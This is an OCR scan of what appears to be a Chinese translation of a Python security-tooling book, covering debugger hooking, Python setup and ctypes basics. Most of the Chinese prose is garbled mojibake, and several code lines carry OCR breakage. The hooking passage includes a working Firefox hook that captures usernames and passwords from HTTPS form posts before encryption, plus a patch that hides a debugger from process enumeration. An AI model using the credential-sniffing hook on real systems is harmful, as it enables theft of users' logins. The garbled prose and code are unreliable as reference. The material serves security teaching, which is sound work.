
542  fRABREMES

9 BE 2 WA 28 BT A7 ia AT P RE DA A R 15 A TRER 18 1T . 2800107, WS ARIEZEH
Immunity 88 — M8, S EMN-— A4 4 ImmunityDebugger.exe [ IEFE . 5 818 i H
Process32First A $k 55 — MM EERE, 6 H Process32Next fEFAsRIUE] R IR RERE . XA
BRI A F 25 IR Bl — AN R (B, 5 R R BSOS HAT ) AT B0 s B R [ (7
fitife EAX T3 424, A% E R 0 SRRSO IS L = 1 AR T -

process32first = imm.getAddress("kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
function_list = [ process32first, process32next |
patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET" )
for address in function_list:
opcode = imm.disasmForward( address, nlines = 10 )
imm.writeMemory( opcode.address, patch_bytes )

PRI AN R B bk, R AR RN R o IR BN T ARSI G e R AE S, AR
i EAX WE K 0, SRJEIR([Fl. $2F >Rk %% Process32First Al Process32Next bR 56 117
IARHS o XA B IR A2 — e i 2 B S TN BRI Sk R A s ot . FRATIAESS 10
ITHENANT, ARl T SRS ERA TN TS AR 10 17, BI{ELIRE
2P R S 2 a0 (R 2R

FAT 138 i PG o fAE T anfrT g ] Python A1 Immunity 3848, B 0L R ILIRATT.
TR 22 1 1 S R AE T B A ], X ATARAT T VA A S 5845 . (H2& Immunity TG
B2 RO B B TR exploit [ -

R RE B AL ) TREF 1) hooking FEA .



6

HOOKING

Hooking 2 — P 58 K ) 3 72 5 # (process-observation) 1
Rt e AR, DU HERE S B0 0 U7 e F0 e 2R

Hooking % FH T- B8 rootkits, OF MCHcBEAE B, A L AR, b fikry, i i i) g ]
L) hook A R IBATTHEMGEE, MW WAIRZ T LEAERIN] . hook, AT H IR K,

7E Windows R4H, HIEH Z M 1L hooke AT EENLHPHFH: soft hook Al hard
hook. soft hook L2 AEZEME A HFREERE, HiA INT3 b, S HERERIHAT RS . IXA
S8 I “P R AL HE” 1R1% . hard hook NIE7E H AR RERE i 215 ( hard-coding)— Mk
FI| hook ARSI 4% % ). Soft hook 7EATE ¥y e Z i HI rhARA H o SRIM, A 7% HAx
HERE 7 AR B /N 19 5 M9 gk % 20 3 hard hook o A BN PP FE 2 Y hard hook , 43 B JE
heap-management routines I intensive file I/O operations.

BAVERTIH A 24 1) T 2523 hook. JH PyDbg S soft hook FH - MRAR N % 1) X 4% A4
HI Immunity 28 hard hook f#— %= %4 ) heap instrumentation.

6.1 /il PyDbg 5:3J, Soft Hooking

S AT RS A JE IR DA TR 28 A% A o 1IN DA T B s 7 i R R 55 2% 2 TR ) T
YESRE, FRATTAR S A H— AN &8 43 HT 28 51 U1 Wireshark. fR AN 4L, Wireshark 3R A5 )£
CHHE ML, AFAF PRSI AR . ] soft hooking /R BEME 7E K4 N 2% /i 5 252
IEff JE g e 1.

SIS H bRt A2 B AT 1 TR Y 48 Mozilla Firefox. A T XRS5, A 1M 5 Firefox
SERR) GRS ARG B80) o RATTHAT S5 w271 firefox.exe HERE N3 5 i WLAR Hh 40k
IAE 5 388 FH 1R D94 8 0 26 v it /2SS, IX IR I 32 2 H bl 2 M vkl

T R R B AR D R i AR 0 D, 7R AT il SRR IR U ) BT
(http:/forum.immunityinc.com/index.php?topic=35.0. )o I LE 17 Z2 M v 1) In) sl & AEA T4 3B Ty
W'E hook. AT hook BB AE PR_Write BA%L I (FH nspra.diLF ). 43X 4 R Hk
PAT I, HERG[ ESP + 8 1#8 M) ASCIL A5 H (AL 75 BAT T4 A8 IE AR I (144 D . ESP +
8 ULEH'EJE PR_Write M25 —ANeR%L, R RAIFEN, dxe, WERT.

7 5CF T Firefox, Hi A ML https://www.openrce.org/. — HARFEW T SSIUETS, TUfIH
TN . 4 Immunity B 03 firefox.exe FEFELE nspr4. PR Write % # W75 . 7E OpenRCE
Wi LA ARG, WEH 408 test FISM test, st Login #%4. 138 & W7 55
SEZRE kO s TRAE F9, Wi PR . B da s PRREEARTE BT ) 2

[ESP + 8] => ASCII "username=test&password=test&remember me=on"



IRUF, BATVARTE WA 2 T H P 4 R0 o (H S0 R 2 2B AR A A, g — 3t
283 SSL I () Jo s M o X Fh 7 iEAU OpenRCE A 48 4R AT — AN 75 ZiAh
A R 1 Dl PR B, 3K BB HOR AR S 2 (AL B o IAE TR A T T ER AR TR
T, AR TIE.

7t H PyDbg & X soft hook Z Hij, F72256i& L— M U4 hook HFRIIARS . W FHI4h
75

hooks = utils.hook container()
i hook_container ZE 1] add() /7 15K FAT 1€ IT) hook it 2. pREH A
add( pydbg, address, num_arguments, func_entry hook, func_exit hook )

BN EORE N pydbg H bR, address 2801 B % 2 42 4% hook [P bk,
num_arguments B & AL # 45 hook 2 4. func_entry hook Fl func_exit hook #4211 e84
func_entry hook J& hook #fiti & J5 2. Z U HI1¥), func exit hook J&#% hook 1) e HCK ZHE H 2
BIHATIY . entry hook FH 115 2| s LS4, exit hook F T-ffi i K £ IR [FIAE

def entry _hook( dbg, args ):
# Hook code here
return DBG_ CONTINUE

dbg Z B E A BN pydbg Hbw, args #1132, 475 hook fil & N 32 21 1 2

exit hook [FIU BRI EAT — AN FIZ 2 T4 ret 80, A8 T REURIR FIEEAX HIH):

def exit_hook( dbg, args, ret ):
# Hook code here
return DBG_ CONTINUE

$2 F 949176 anfel F entry hook WLAR N 2 11 1 45040 «

#tirefox_hook.py

from pydbg import *

from pydbg.defines import *

import utils

import sys

dbg = pydbg()

found _firefox = False

# Let's set a global pattern that we can make the hook
# search for



pattern = "password"
# This is our entry hook callback function
# the argument we are interested in is args[1]
def ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read until
# we reach a NULL byte
buffer =""
offset =0
while 1:
byte = dbg.read process _memory( args[1] + offset, 1 )
if byte !="\x00":
buffer +=byte
offset +=1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_ CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook address = dbg.func resolve debuggee("nspr4.dll","PR_Wri
if hook address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."

sys.exit(-1)



AN fRi v T 4F PR_Write [ 1% & hook, >4 hook #f itk %, FA122i 58 =
SRR FRT . WA TG B U T ENAEdr 24T« A3 AN Firefox, H&EIEAT
firefox_hook.py MIA. FEZAIHIPIE, &3¢ https://www.openrce.org/, K575 25 H W F -

[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing process.

Pre-Encrypted: username=test&password=test&remember me=on
Pre-Encrypted: username=test&password=test&remember me=on
Pre-Encrypted: username=jms&password=yeahright! &remember me=on

Listing 6-1: How cool is that! FATTREE 2 AR 02 70 I H 7 44 % 05

FATCEH R T soft hook [FFEE AR ANRE ) XFhITIERER FH T P43 AL i il AN
Wk e A8 BIRRE] 1A soft hook [ T AR IE &, 4 538 2147 1 fie PR 1 ok 2500 HI I
WD SRS, TR, RS FURBN, Y INT3 #filk g, 254
PATALRAZ 25 A1) hook A JF ik [H] o X [BIFE AR H 2 M, Wi sk B b i AT 4k
TR B P RAEFRATE B WTid L 5 E hard hook 1 instrument low-level heap
routines DAf#HRIXA i .

6.2 Hard Hooking

IAER B BRI /7 T, hard hooking. 1XFf hook 1R =12k, *JREFEHIREmIBAR N, KA
hook AT S T x86 V-4 G . LA soft hook [ 71 Wt rii ik 2 1) I A7 418 22 A
R, BT hook A5, e fatk SZHEFE. A hard hook HIMS i, HEAEHEFE N MY fE—
PR, £ hook Y, B4 R b X AT 58 UG, IR BLEF R P HAT AR . A sl 2,
hard hook HFRBEREHII A, BEFEE AR, AB soft hook.

Immunity WHRZSHEME T — MR B X % FastLogHook >R %E hard hook. FastLogHook
FE 755 hook IR EC T 5 NBEELACY, B3 FastLogHook HHIF M —HRARID X I8k, R4 A w ik
ARG o5 AR A A X PG B B X . MR A I fast log hooks I, 752256 &
—/) hook FREl, ARG SURELIC KA a5l . FEIPHESR IR -

imm = immlib.Debugger()

fast = immlib.FastLogHook( imm )
fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )

logFunction #5224, address Bt & 7E A7 22 hook (19 BRI %4 A 5 19 AN Mtk (XA Hs
HE oW kIR A 5 ) WIRAE BB L3 hook, num_ arguments W% & AR B A $2 51 1 2
Bow B8, W RS K hook , W BEE K 0. H¥E MLk



logRegister(),logBaseDisplacement(), and logDirectMemory() = J7 V% 5¢ .o

logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )

logRegister() /5 ¥4 H T ERERTR € 0 F A7 48,  LLWIERER R E IR M (fAil7E EAX H).
logBaseDisplacement() /7 582U 2 NS4, — N Fifrds, M—"Maa; H TP RS
Bk iR A A7 A AUm AL k. 55— logDirectMemory() H -1 M F 5 (19 P9 A7 Hi hik SR I

) hook fiili &, log BREINAT 2 )5, ABAT TR B0 47t fE — > FastLogHook HUIE ¥ HuAL.
TR hook HILE L, FRAIAEH] getAllLogO)RE %L, ‘B 43iR[A]—~ Python 51| 5&:

[( hook address, ( argl, arg2, argN )), ... ]

It ABREIR hook % fili & [RTE %, i & Mk i A7 7F hook address L, T i ZH{ S AL
S I, B8H B —/NEEK FastLogHook #f /& STDCALLFastLogHook( H T
STDCALL 2 5E). cdecl %) & 1# H] FastLogHook .

Nicolas Waisman(Ji1 25 #E i % ) & T hippie(#)H hard hook), 7] LA{E Immunity 5 i#
i PyCommand ZE4T 1 FH . Nico i :

1)i& Hippie [ H BEA T AIEE— M log hook, 483 Ak 3 1t ¥ M of £ FH AL s m]
feo 2811 W RARH Notepad 47—

SRR IEAE, e 7 SR B K4 4500 IR RtlAllocateHeap Al RtlFreeHeap . U1 /2 Internet
Explorer, HEAHXMBRERHSH 10 5 HEE2EZL,

IH 3T hippie 2% S HEMHRAE, X TH RS I T HERI IR exploit A HEE, W T faj b (1) )i
K, BATEAEH hippie A% CrIhRE B — /MR HL A hippie_easy.pyo

ERATIFERET, 5% T # T RtlAllocateHeap 11 RtlFreeHeap o

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN PVOID HeapBase

)i

PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN SIZE T Size

o

RtlFreeHeap Al RtlAllocateHeap )T S ##L /& L), A



RtlAllocateHeap 3 [F] [ HE [ 3t 1k th 1 7 2T e 14 o

#hippie easy.py
import immlib
import immutils
# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this is used to find the proper hook point for RtlAllocateHeap
def getRet(imm, allocaddr, max _opcodes = 300):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.disasmForward( addr )
if op.isRet():
if op.getlmmConst() == 0xC:
op = imm.disasmBackward( addr, 3 )
return op.getAddress()
addr = op.getAddress()
return 0x0
# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap, RtlFreeHeap
def showresult(imm, a, rtlallocate):
if a[0] == rtlallocate:
imm.Log( "RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s" %
(a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] )
return "done"
else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" % (a[1][0], a[1][1],
a[1][2]))

def main(args):

imm = immlib.Debugger()

Name = "hippie"

fast = imm.getKnowledge( Name )

if fast:
# We have previously set hooks, so we must want
# to print the results
hook_list = fast.getAllLog()
rtlallocate, rtlfree = imm.getKnowledge("FuncNames")
for a in hook_list:
ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook_list)



# We want to stop the debugger before monkeying around

imm.Pause()

rtifree = imm.getAddress("ntdll.RtIFreeHeap")

rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")

module = imm.getModule("ntdll.dII")

if not module.isAnalysed():

imm.analyseCode( module.getCodebase() )

# We search for the correct function exit point

rtlallocate = getRet( imm, rtlallocate, 1000 )

imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)

# Store the hook points

imm.addKnowledge( "FuncNames", ( rtlallocate, rtlfree ) )
# Now we start building the hook

fast = immlib.STDCALLFastLogHook( imm )

# We are trapping RtlAllocateHeap at the end of the function

imm.Log("Logging on Alloc 0x%08x" % rtlallocate)
fast.logFunction( rtlallocate )

fast.logBaseDisplacement( "EBP", 8)

fast.logBaseDisplacement( "EBP", 0xC)

fast.logBaseDisplacement( "EBP", 0x10 )

fast.logRegister( "EAX" )

# We are trapping RtlFreeHeap at the head of the function

imm.Log("Logging on RtlFreeHeap 0x%08x" % rtlfree)

fast.logFunction( rtlfree, 3 )

# Set the hook

fast.Hook()

# Store the hook object so we can retrieve results later

imm.addKnowledge(Name, fast, force _add = 1)

return "Hooks set, press F9 to continue the process."

=R EEH Nico N2 AT E R 2 mT PLE RtlAllocateHeap PN 51 & hook [y,
ik AT R4 RtlAllocateHeap PR ECE & 5 JLAT I TR 2 2 8 A FET:

0x7C9106D7 F605 FOO2FE7F TEST BYTE PTR DS:[7FFE02F0],2
0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903

0x7C9106E4 8BC6 MOV EAX,ESI
0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02
0x7C9106EB C2 0C00 RETN 0C

Python XA M B& £ (1)K AU I g,  HEI7E 0x7C9106EB K2 RET $i5 428 i ifi I\ 4
TR 0x0C. ARJEH )5 I 3 17484 1A 0x7C9106D7 o IXAEARUIAA I 2 4 T #ff O
ARG EN 5 AFAH IMP 354 WERIRAT/E RET IXATE A 5 ADNF 11 IMP 454,
i o 5 56 R AR S o L T RAR T RE A AR R (R 0, R T AR 5%, R
23 It o X L8N PR AL e ORI AR 2 v A IR S, 7R BRI, AT IR ZE R A SR



AT ARG A 1T FRL I BT hook JE TR UE T, WHRWE T i knowledge base H1 3R
VIR H bR, SRJEHTENHH hook 15 Bl o JAIAEE —IRISAT % B hook, 2 — KIS AT 1 fi%
WA hook I 45 W, £ UGS AT #SRBUHT ) hook £k o 4 AL (T4 £7fif 7F knowledge base
BT HS, BEEMIRLE ) shell U5 R 84T 7.

I Ja — PR R 1 hook ANIER £ o XF T RtlAllocateHeap i FH 3k HUITH I =S4k
WA IRIAME, RtlFreeHeap N BRI =S HGR AT LA T o HH TAGEEE 100 47094805, 84T
ST H] T 9K hard hook, ¥ FHAS FHATART (1) g 4 28 A1 22 R 1K) T H o Very cool !

ik H notepad.exe ik, & H A&7 W Nico T i 4T FF— AP UEHESL A #4500 43
WH . £E Immunity F47JT C:\WINDOWS\System32\notepad.exe iz47'hippie easy v 2 (U4
ANEE HHE). WEHRE, 7F Notepad HLIEFE File-->Open.

IAERINGS R . EH 21T thippie easy, RS F BIHKAS HE S HI(ALT-L) 5 .

RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020)
RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8)
RtlFreeHeap(0x00030000, 0x00000000, 0x00037798)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000c91e8)

Listing 6-2 thippie easy PyCommand 7= 4= 1) i

EH LV BAT T L8, W R RE B Immunity FIREEIPIRESR, S4B/ B I 4674
A% o LA Nico JEXF Ko AR BEAEATAT I A0 e A T BIAS AU 208 ) i e &5 RAN G v 4
{H. $5 cool AYMLTT I AT E I3 UK A AN 23 AR BURE R IO R AT R0

hook 23 7R Y i Gl — RO IRIAE ] o AE3X BLIRATT AN 22 &5 138 T 5 K1
hook %, iLX—VI AT, RKERLF M, KL, KL AN, #TFkiEK
15 ST e — N HERE, 2 AR

Fr

W IRAE TR KK T), S48 —171i& & hacking ALY TREEE 5. JUEERT, KTk
KILT Python, WA &N T REREM EIEL. ANILXST Python 7 hacking N H
J5 T — B> —ARPES AT BT 3 9] B %, ANTFASTEAR 2 W] [0 RORS ) 25 B 5218
EEE A FM, RE RTINS IE TR K. XA I H brgt 2t 2h %560 — A 9 K
Python Hack F/H, 1Lk KZKAE hacking A1 [a] TR Fh 8 InfCa Y F.

FEFI L P28, BB KK L M BE T H, HAROHAE, &I, fuzzer, i HES
AAE N — NS BRI FRAT B B2 AU 238 % AL T Python 2w 5 1 T A,
TR HEMME H O TR —ARBREARAAH A B T HEFERM, (HIRA12&
2 IR, AT VRN M UG, X S R E e —ml m iy, ELEMLaTFkH,
RERERTEN AT T



RAAART WA TEE, PO S A —E WL EI R . R AR 2E—A Python 7 T,
BB Wi, PSR RIR 2 ) hack R FEEYS, H T LUS 5K
FRAEIRIAESS . WIRARC 20 Python IR, JF HLX ctypes FEBAR T/ 17, AL AT LLBE
AR, AR, AR AT DU M S I BRI — 5, AR A A T RS A R

BA TR Z F- okl 8%, O K28 50 T hacker F9TF-AR T NS — 55 i IR B,
o5 H# Immunity [N AR, B85S AE-ER 1 hooking L EIE ANF AN A TH
A7 I3 BRI AL 2 o

ARASHI R EB LX) fuzzers A, 5 )\ PHEILAE fuzzer JBE, HF HAHE—
AR R file fuzzer. S5 JLEE, 45 KA Sulley fuzzing HEZE, FF HAEH'E fuzz —/NHEIE
1 FTP k4548, 515, M E— Windows IK3)) fuzzer.

b B, Ao IDACKH I 0525 BT 4 T RN Python 77 .+ %, PEAIVHIR
PyEmu, —/MAET Python I E 4% .

AAT T A AR ES SRR TR R, 7E SCHE Iy #A T PR AN . 2 — T DR IR S
AN, R EAL S FAEIRS D)o LA H TS . I A R] DALE
http://www.nostarch.com/ghpython.htm & 3.

Now let’s get coding!

RS2y TN AR, K TH0 58 T gray python FUBHPE. X A E RIS SCRIEAR
(4 R L TR 1 . I H IR 2 FE SO Ty, AN TR, R ok — 2
56 o

B BRG RIF N, CHR RIS, A iR, B3R AN GAN . 3
K EEATT--- B B2 Y6 BT A BA B3 (JE 5200, codeblue, /NB, 000 )s LA EHE AT 51T
(R0, A LEERERZ= k7> = B SBR[ hacker f].

AR, IRLAE AR & A, TR AN R 5 I G, TCE /K R 45
CLAMHAE S K . RGN EARFIR R B HEsk, AW,

N HUR AR - K 22 38 12 0]

W 42K 2 [ H H 2 6], winger



F#$:20-30

Y FE1E 5 asm, ¢, python
ML A RS R

Ll p 28 R G B

TAE:H L2 TAEE, secoder(security coder)
I 41k::hi.baidu.com/freewinge

16 2 77 3\ free.winger at gmail.com
FhHd, R, EIR, W

R HIARV: 2T

B B2 - NESREAR A AN AR R ) 22 A . I T HR R

]
SIEIR

o

FERUR TR 864 AN E5 i) Python Hack 2§, ibFA15EHE—
REFMHHLAT B O TR, HERIHEMZERT, BSibR
TR R



X AL AT B UHE , Python2.5 [1222%%, Eclipse fit &, DL A 4m’S C F 251 Python
AR

L1B1ER G S

S ) FERR PR I 5, Windows 2 B iF i H bx e JOE AN 2 AR K, (734K
P TT AR Crack #AAF B 5y, i AAS S B R 70 AR5 A8 T Windows(£F: o] /R BE 4 ) 21
Windows RAY).
AERG )AL REISATAE 32 16 Linux 1o JEi i 20eAE VMware(VMware H& 40 2R
A AR R BAAH ) LI & SEHL L, #8497 Linux JRARZ , APHEIEIL T Red Hat [f1 & A -
£ :Fedora Core 7 or Centos 5.
\

/

# 37 [\ VMWARE 4514

VMware 7E M5l ERAE T S 2f FIRA . IXEBRINUH T8 TR, IR, SCE T
FEP IR, R BF0 AL 58 PN TR

FFEF T 3L http://www.vmware.com/appliances/,

Pyayer 77 T #5542 http://www.vmware.com/products/player/ .

\
1.2 3R ‘%3¢ Python2.5

/

Linuxer 7] PABEILIX AN DB, K4 Linux #A & T Python. Windows | AJ LI i J 37
()2 AT e

1.2.1 7 Windows _-Z2%: Python

Windows [1]%22 i A AT LA Python =51 _I R 2 http:/
python.org/ftp/python/2.5.1/python-2.5.1.msi. Xili, — 30— DRI RLHEmAT . FEERIAI
F H3x C:/Python25/ 1, %3¢ T python.exe FERINIIE o

PR HEBUR K e $¢ Immunity WA, HWAS TR Z LR INFET, b4 Python
25 o fE Ja WO oE W oh, kA B S M A B Immunity o F o WM
http://debugger.immunityinc.com/( % A QB iA B H L 3 R

1.2.2 7E Linux _Z2%% Python



TR TR EAE Linux b 1T.2¢%% Python fO3E, WU a0 20 B8E4T . X HL{# 1] Red Hat
FIATA R, FF HIXAS R H root AR .
$—20, F#H Python 2.5 YL FFfFt k.

# cd /usr/local/

# wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz
# tar —zxvf Python-2.5.1.tgz

# mv Python-2.5.1 Python25

# cd Python25

AR A [ 2 /ust/local/Python25 2 J5, BB g1 2005 T :

# ./configure —prefix=/usr/local/Python25

# make && make install

# pwd

/ust/local/Python25

# python

Python 2.5.1 (1251:54863, Mar 14 2012, 07:39:18)

[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2

Type "help", "copyright", "credits" or "license" for more information.
>>>

WAETRATIA T —/22 H W Python Shell, REW H 1 E£4E Python A1 Python & T .
AAE AR

>>> print "Hello World!"
Hello World!

>>> exit()

#

R —PITAEIEY . b T ik RS AEHE R E] Python U1 8% I 12, 75 240 % /root/.bashre
SCHRE(TH P 441 bashre) s FAN N EEAR 35X nano, AN AR AT DT FH AR 5 0 i B 2 (S N HERE vim 1R
). 4T /root/ bashre, ECAFEHBINALL A .

export PATH=/usr/local/Python25/:$PATH




XFERFRIAT python i 2 %, A HIHI A 5832 1) python #8412 T N root ¥ 5%
(PN, B AEATAT shell T4 python Htfigf3 2 —4N28 H 3 Python Shell T .

KT TR A, R IR FRATIAC B H O IDE(ntegrated development environment ).
(TR FF IR EZ U R : ActivePython,UliPad % Script.NET, ipython B bpython. ik, HZl
e, ZHUHAHET . )

1.3FC & Eclipse 1 PyDev

g TR T R VAR Python R2 /7, BAAZNEAEH] — AN FUE W IDE V5. X EAEHHE
TP Eclipse(i#5°F- 5 ] IDE)F! PyDev. Eclipse PAILam K1 al @ HIPEm 44« N L 3AT]
B MR I E e

1 M http://www.eclipse.org/downloads/ s 4 Hs 4 £

2 fi#EF  C:\Eclipse

3 12T C:\Eclipse\eclipse.exe

4 F—PisAT, SWRAEM R TCE TAEX M H s AT ERA ST K Use this as default
and do not ask again 2] I, riii OK.

5  Eclipse %Z&4fLUf5, £ Help Software Updates Find and Install

6  1%EFF Search for new features to install 4R 5 15t Next.

7 Rith New Remote Site.

8  7E Name /5 fi#H |- PyDev Update, fF URI J[HI3E L http:/pydev.sourceforge.net/updates/,
Rith OK #fiik, #35 fiihi Finish, Eclipse 2 H#) 712 PyDev.

9 &)L, EHE AL, BT PyDev Update, i% [+ PyDev, H.ii Next 4%
g2 h—.

10 [#12 PyDev #pi38, WIR[AE, 7E I accept the terms in the licens agreement 1% |,

11 Hi75 Next, F Finish. Eclipse JF4fi%3% PyDe ¥, A5EHJGE, i Install All.

12 HJa—3%, 1F PyDev “delf 2 i, H.ifi Yes, Eclipse 23 HH7 )3 23 N4 PyDev.

i~ AP YRICE. Eclipse, LAMfif& PyDev BE LA A1 H] Python fift B a5 HhAT IIA .

Eclipese JX3)j 5, £+ Window Preferences

¥ J& PyDev, IE#f Interpreter - Python.

LE X TR AHET ) Python Interpreters H1 £l New.
W3 C:\Python25\python.exe, #AJ& fiti Opens
AR 51 Python H L& %235 T 1.
PR OK SE %% .

A

TETHRIADHT, T EEEE A PyDev L. ATH P A AR # AT LLAEIZ A TR 4T T

1. K%L FE File-->New-->Project.
2. J&JT PyDev % $% PyDev Project, siili Next 4£%4%:,
3. ¥ LFE@v 4 N Gray Hat Python. jiifi Finish.



Eclipse & I A3 H 2 )5, 2% £ Gray Hat Python TFEHH BUAEJE4 /e LA BlfEA
sec FJ, %P New-->PyDev Module. 7F Name B4 A\ chapterl-test, i ifi Finisho ¥4
B, TRARBEE R T, chapterl-test.py #7012 51E&H .

7t Eclipse 11247 Python JHIA, HEEHL T AL 1Y Run As( 2k P8 16 i k)%
AT T o ZESAT DARTHI A, nf DA P PR4ESE CTRL-F11. AR 4 H <5 S 7R7E Eclipse
JiCE ] Console THIAR « IAE T FAH G U RAHS .

1.3.1  hacker {1/ & :ctypes

ctypes SE 5K, 5K BIAA LUR K LTI PEEERE T k. AT e JATHLREYS R
M ZhABER e b s AL, [N B A PR R 1K C A SR AN = B el . 22 TE5EIH), ctypes
HUEA TR LA -

132  HHZISEEE

i ctypes 55— 502 BT el fdAfr A7 e) A e PE D i pRi £ . —> dynamically
linked library(#% 2l 2% 3% £ (1 FE) JL 9 & — A @S, Ak —M | SAEAT, M B )
R FHAT . #F Windows L1 45 dynamic link libraries (DLL)Zh A8 78, 7F Linux L1y
fit shared objects (SO)VILZEE . iRt A6, IXEL7ZE ) ek 25 4 00 2008 1L 3 H 1) 44 U
ZJE AN AR LR (ko By DAIE S DL R, SR AT eR L, #0200 S A AT HY ek B
il ctypes AT T IX—2 6

ctypes $E4L T = Fh 5 U Bh & BEREEE cdll(), windll(), 1 oledll() ‘EATIKIAN R Z Ab sl
T MBI ERGREME . cdll() NN, T )RR b S R AER cdecl YR
2158 o windlO) 7 VBN P, 5 ) pR B0 25 Y stdeall 0 205 (Win32 APL ) J5i A2
JE)o oledll() /75 windll()ZRAL,  Avid 4 2R ek 00k [B]— A~ HRESULT £ 4065, ] L H]
COM BRI 15 2 B AR 1215 B

W H 4
W2 e R BUr R k. ks, S HnEE 7, iy OB DR
PR Zi A7 48 ), LA pRBOR [AIIE, A AT AL BE . T THIX P 24 8 A2 FRAT T e 5 FH 2111
cdecl and stdcall, cdecl HHZE, BREINSENGEZMIRIEARN,  eRE I H &
FERBIAT )G, S RBRFET . XF e T x86 ZEMIN C B H.

InC

int python_rocks(reason_one, reason_two, reason_three);

In x86 Assembly
push reason_three
push reason_two



push reason_one
call python_rocks
add esp, 12

M T ARS v A G S8R I, e —1T, HRIREIS T
12 NMEW(CEANSEAEIBA R, PR AR TRE A AT 4 N, 3R 124,
i3 RECR S M ERTRE K S 3R AT A7
N2 stdeall T ZEM 7411, T Win32 APL

InC

int my_socks(color_one color_two, color_three);

In x86 Assembly
push color_three
push color two
push color_one

call my socks

AT, SEALE IR WA B 2, AR b BE i pR 2 my_socks
HOSEH, mAE R
BJa R KPR Ry SR AR A i 2 EAX H

AR AR ARG, EEEA C FEFR I printfO) s 2T BN — 4574 B, Windows H1 1) C JE
£7F C:\WINDOWS\system32\msvert.dll, Linux "1 C JF 47 F/lib/libc.so0.6.

chapterl-printf.py Code on Windows

from ctypes import *

msvert = cdll.msvert

message string = "Hello world!\n"
msvert.printf("Testing: %s", message_string)

£ R L F

C:\Python25> python chapter1-printf.py
Testing: Hello world!
C:\Python25>

Linux F&A WEHANR :

chapterl-printf.py Code on Linux



from ctypes import *

libc = CDLL("libc.s0.6")

message string = "Hello world!\n"
libc.printf("Testing: %s", message_string)

CUNRELE IS

# python /root/chapter-printf.py
Testing: Hello world!
#

n] LLE B ctypes Wi H ) A BESL PE TR 1) B BCH 2 i 5.
133  fiE C FyEkn

i HI Python Gt —> C B AR faf 52, 4R A] LUR 2 5 BOAEH € sl CH+E8 g 4144

Listing 1-1 %/ =FH Z AR TR R

C Type

Python Type

ctypes Type

char I-character string c_char
wchar t I-character Unicode string ¢_wchar
char int/long c_byte

char int/long c_ubyte
short int/long c_short
unsigned short int/long c_ushort
int int/long C int
unsigned int int/long c_uint

long int/long c long
unsigned long int/long c_ulong
long long int/long c_longlong
unsigned long long int/long c_ulonglong
float float c_float
double float ¢_double
char * (NULL terminated) string or none ¢ _char p
wchar t* (NULL terminated) unicode or none ¢ _wchar p
void * int/long or none ¢ void p

Listing 1-1:Python 5 C E#/EX 7 WLt



TR TR BE N AR R M7 o ctypes RIUHIARAL IR, K/NIRIL A2 7T & E X
MR, FH N

C:\Python25> python.exe

Python 2.5 (125:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from ctypes import *

>>>¢_int()

¢ _long(0)

>>> ¢ char_p("Hello world!")

¢ _char _p('Hello world!")

>>> ¢_ushort(-5)

¢_ushort(65531)

>>>c_short(-5)

¢ _short(-5)

>>> seitz = ¢_char_p("loves the python")

>>> print seitz

¢ _char p('loves the python')

>>> print seitz.value

loves the python

>>> exit()

I G — A1 7K AL T "loves the python" ¥ 5 15 5 48 £ K AH 45 A8 & seitz, JFal ik
seitz.value J7 VA B G| H T FREFIIN A,

135 R XNEHWMEE

SERFNIE G AEH H I s S8 A, 9 KB 1 3E H T WIN32 (1) APT HI Linux ] libe 5.
— NG5 R AR — A TR AR R AR (T A AR Ay A ) SR S R A IR AR AR A
RS, wTLLE S SR 4 kY ). EL T beer recipe.amt barley, it J& iR beer recipe &5
K i) amt_barley 4% 5,
InC

struct beer_recipe

{

int amt_barley;

int amt_water;




In Python

class beer_recipe(Structure):
_fields =]
("amt_barley", ¢ _int),
("amt_water", ¢_int),

]

WARFT L, ctypes IR BRI BIEE T —4 C IS5 .

HE A RN S5 MY ARAR o (B IC A5 b BT A ) Ab— N P AF ik, B P — N A8 ) Y A7 25 )
TXAN S [] R RN il A2 B R PR AN 8 PR RS o X R BE A K BE A5 Al AN [F) 2 28 ) A R A
